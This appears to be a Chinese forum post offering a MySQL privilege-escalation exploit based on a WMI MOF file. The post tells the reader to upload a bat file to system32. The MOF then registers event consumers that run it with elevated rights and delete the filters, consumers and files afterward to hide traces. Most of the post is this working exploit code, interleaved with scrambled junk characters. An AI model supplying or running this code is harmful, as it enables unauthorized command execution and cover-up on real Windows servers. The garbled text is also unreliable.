Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
! U0 E8 P9 d( B8 ~7 k0 F9 f需要将要运行的命令写入到bat上传到system32目录，然后执行。

: J% o/ z+ ^1 {/ z2 `- ?  \$ n这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

#pragma
. M" g+ C5 k7 u$ H% o/ t. ~                        namespace("\\\\.\\root\\cimv2")
7 G* d& Y4 [) u& k( a# L+ q                        class
                        MyClass547
8 X, Z: `6 q; o# {  ^$ X                        {           [key]
                        string
1 n. j, O) ~' X1 f                        Name;
                        };
                        class
                        ActiveScriptEventConsumer
/ N" Q" t* {, r2 Q                        : __EventConsumer {          [key]
                        string
  T! z3 r5 h" v; d8 m' {3 r( H                        Name;           [not_null]
2 a7 c* q, X# N7 `* T                        string
                        ScriptingEngine;           string
                        ScriptFileName;           [template]
- X) e/ G9 F1 G* M9 V% h; y8 O6 e8 w                        string
- A# X, e3 H5 [, H2 X0 K" q                        ScriptText;         uint32 KillTimeout;
( @; a, }; j. g; i! N/ ?' P                        }; instance of __Win32Provider as $P {
& z! m6 `' `# Q, k7 H, W                        Name
                        =
! u9 S7 X/ p3 ~4 G  k* b. ]                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
; F! N, q7 Y$ O                        PerUserInitialization
" s! {" B( s0 _                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
3 c' i! {  l, K+ F3 o2 H9 _+ P. X                        = $P;         ConsumerClassNames
# |( _7 \) ]9 a# p( B# n- @                        =
# ?! O  b1 k5 m; L$ m! T2 H3 s                        {"ActiveScriptEventConsumer"};
                        };
+ |  E' p: T4 [8 p( z  ?" `1 S                        Instance of ActiveScriptEventConsumer
: p; J$ z- a  h7 D                        as $cons {         Name
& }8 f2 q' S( c' o5 c. \5 J3 [                        =
6 p2 Q2 x. s( b+ p5 Q" ?* k                        "ASEC";         ScriptingEngine
' O2 T: L& `, F4 E                        =
                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
& t2 L( ^( m0 ?7 Y                        Instance of ActiveScriptEventConsumer
& m! P0 h: ^, a7 G) b; S' j( f                        as $cons2 {         Name
                        =
                        "qndASEC";         ScriptingEngine
, Y) m( j: }/ A/ k8 @7 ]+ |                        =
. n+ `; c) w( G7 [; r                        "JScript";         ScriptText
5 J4 U$ @0 |) [8 v; v                        =
                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
                        }; instance of __EventFilter as $Filt {         Name
                        =
, H6 H# B. u( r7 H                        "instfilt";         Query
! ?) p* W7 F2 o! R                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
( M# q+ P, S4 K9 ~' O                        =
5 y" E% _( F0 C7 ~0 u% u                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
6 U8 e' P; S# @! v" U. a8 k                        =
                        "qndfilt";         Query
" \* n! j" H/ s) O1 t# A" x2 s                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
: n! I- e) k0 s: {) ?. _                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
                        as $MyClass {         Name
                        =
) E/ r6 u. w# f, p7 ]9 q4 S$ W                        "ClassConsumer";
                        };